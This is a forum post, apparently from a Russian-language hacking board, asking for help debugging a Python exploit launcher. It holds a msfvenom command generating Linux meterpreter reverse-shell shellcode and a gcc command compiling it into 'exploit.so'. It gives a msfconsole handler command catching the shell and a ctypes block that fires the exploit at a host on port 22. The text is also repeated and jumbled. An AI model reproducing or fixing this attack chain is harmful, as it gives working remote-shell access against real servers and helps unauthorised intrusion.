Shellcode
and i replace with current shellcode :
so the exploit "exploit.so" work perfectly test directly in linux sandbox
now i try the python script :
ad the result:
Line : 372 in py script is :
and the code for exploit.so in py file is:
I try :
how i define the patch for "exploit.so"
/root/exp/test/
any help is welcome.
thank you
Код:
'msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST={ip} LPORT=9999 -f c -v shellcode'
Код:
'gcc -shared -o exploit.so -fPIC cve-ex.c'
so the exploit "exploit.so" work perfectly test directly in linux sandbox
Код:
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"
now i try the python script :
Код:
python3 test2.py exploit -host 192.168.11.15 -p 22
Код:
File "/root/exp/test/test2.py", line 372
if os.path.isfile('exploit.so'):
^^
SyntaxError: invalid syntax
Line : 372 in py script is :
Код:
if os.path.isfile('exploit.so'):
and the code for exploit.so in py file is:
Код:
# Call the C function
if os.path.isfile('exploit.so'):
lib = ctypes.CDLL('./exploit.so')
lib.exploit_vulnerability.argtypes = [ctypes.c_char_p, ctypes.c_int]
lib.exploit_vulnerability.restype = ctypes.c_int
result = lib.exploit_vulnerability(targets.encode(), port)
if result == 0:
print("Exploitation successful!")
else:
print("Exploitation failed.")
else:
print("Cannot initiate exploitation, due to exploit.so no created! Please create exploit.so first!")
def initiate_exploit():
print("Trying to exploit..")
I try :
Код:
File "/root/exp/test//test2.py", line 372
if os.path.isfile('/root/exp/test//exploit.so'):
^^
SyntaxError: invalid syntax
how i define the patch for "exploit.so"
/root/exp/test/
any help is welcome.
thank you
Последнее редактирование: